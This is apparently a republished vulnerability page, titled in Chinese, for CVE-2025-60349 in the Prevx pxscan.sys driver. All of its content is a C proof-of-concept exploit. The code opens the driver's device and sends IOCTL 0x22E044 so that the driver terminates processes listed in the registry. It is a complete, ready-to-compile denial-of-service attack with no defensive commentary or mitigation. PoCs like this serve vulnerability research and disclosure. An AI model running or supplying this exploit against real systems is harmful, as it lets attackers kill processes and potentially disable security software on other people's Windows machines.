CVE-2025-60349 | Prevx pxscan.sys驱动程序IOCTL拒绝服务漏洞

// CVE-2025-60349 PoC - IOCTL 0x22E044 DoS Exploit // Target: Prevx pxscan.sys driver v3.0.5.220 // Description: Sends malicious IOCTL code to terminate processes listed in registry #include <windows.h> #include <stdio.h> #define IOCTL_CODE 0x22E044 #define TARGET_DEVICE "\\\\.\\pxscan" int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; printf("[*] CVE-2025-60349 PoC - Prevx pxscan.sys DoS\n"); printf("[*] IOCTL Code: 0x%X\n", IOCTL_CODE); // Open handle to pxscan.sys driver hDevice = CreateFileA( TARGET_DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened successfully\n"); // Send malicious IOCTL code to trigger DoS result = DeviceIoControl( hDevice, IOCTL_CODE, NULL, 0, NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request sent successfully\n"); printf("[+] Processes in registry list should be terminated\n"); } else { printf("[-] IOCTL request failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }